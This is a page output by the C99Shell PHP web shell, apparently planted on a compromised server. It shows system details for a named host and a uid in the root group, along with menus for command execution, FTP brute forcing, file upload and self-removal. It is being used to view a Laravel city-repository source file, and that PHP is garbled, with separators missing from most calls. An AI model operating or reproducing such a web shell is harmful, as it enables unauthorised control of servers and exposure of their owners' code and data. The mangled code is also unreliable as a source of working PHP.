!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/GeoLocale/Repositories/   drwxr-xr-x
Free 26.57 GB of 117.98 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CityRepository.php (3.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\GeoLocale\Repositories;

use 
Modules\GeoLocale\Http\Resources\CountryCityResource;
use 
Modules\GeoLocale\Repositories\Interfaces\CityRepositoryInterface;
use 
Modules\GeoLocale\Entities\{
    
CityCountryDivision
};

class 
CityRepository implements CityRepositoryInterface
{

    
/**
     * Get all cities of a specific countries with country code
     * @param object $request
     * @param string $ciso
     * @return json $response
     */
    
public function getCountryCities($request$ciso)
    {
        
$response = ['status' => 0];
        
$country Country::where('code'$ciso)->orWhere('id'$ciso)->with('cities')->first();

        if (!empty(
$country)) {
            
$response = [
                
'status' => 1,
                
'data' => CountryCityResource::collection($country->cities()->get()),
            ];
        }

        if (
$request->route()->getPrefix() == 'api') {
            return 
$response;
        }

        
$response['data'] = $country->cities()->get();
        return 
$response;
    }

    
/**
     * Get all cities of a specific country and states with country code and state code
     *
     * @param object $request
     * @param string $ciso
     * @param string $siso
     * @return json $response
     */
    
public function getStateCities($request$ciso$siso)
    {
        
$response = ['status' => 0];
        
$countryId Country::select('id')->where('code'$ciso);

        if (!
$countryId->exists()) {
            
$countryId $countryId->orWhere('id'$ciso);
        }

        
$countryId $countryId->first()->id;
        
$divisionId Division::select('id')->where('country_id'$countryId ?? 0)->where('code'$siso);

        if (!
$divisionId->exists()) {
            
$divisionId $divisionId->orWhere('id'$siso);
        }

        
$divisionId $divisionId->first()->id;
        
$cities City::where('country_id'$countryId ?? 0)->where('division_id'$divisionId ?? 0);

        if (!empty(
$cities)) {
            
$response = ['status' => 1];
        }

        if (
$request->route()->getPrefix() == 'api') {
            
$response['data'] = CountryCityResource::collection($cities->get());
            return 
$response;
        }

        
$response['data'] = $cities->get();
        return 
$response;
    }

    
/**
     * Store city
     *
     * @param CityStoreRequest $request
     * @return json $response
     */
    
public function store($data)
    {
        
$response = ['status' => 'fail''message' => __('Something went wrong, please try again.')];

        if ((new 
City)->insert($data)) {
            
$response = ['status' => 'success''message' => __('City has been successfully saved.')];
        }
        return 
$response;
    }

    
/**
     * Update city
     *
     * @param CityUpdateRequest $request
     * @param int $id
     * @return json $response
     */
    
public function update($data$id)
    {
        
$response = ['status' => 'fail''message' => __('City not found.')];
        
$result City::where('id'$id);
        if (
$result->exists()) {
            
$result->update($data);
            
$response = ['status' => 'success''message' => __('The :x has been successfully saved.', ['x' => __('City')])];
        }
        return 
$response;
    }

    
/**
     * delete city
     *
     * @param int $id
     * @return json $response
     */
    
public function destroy($id null)
    {
        
$response = ['status' => 'fail''message' => __('City not found.')];
        
$record City::find($id);
        if (!empty(
$record)) {
            
$record->delete();
            
$response = ['status' => 'success''message' =>  __('The :x has been successfully deleted.', ['x' => __('City')])];
        }
        return 
$response;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--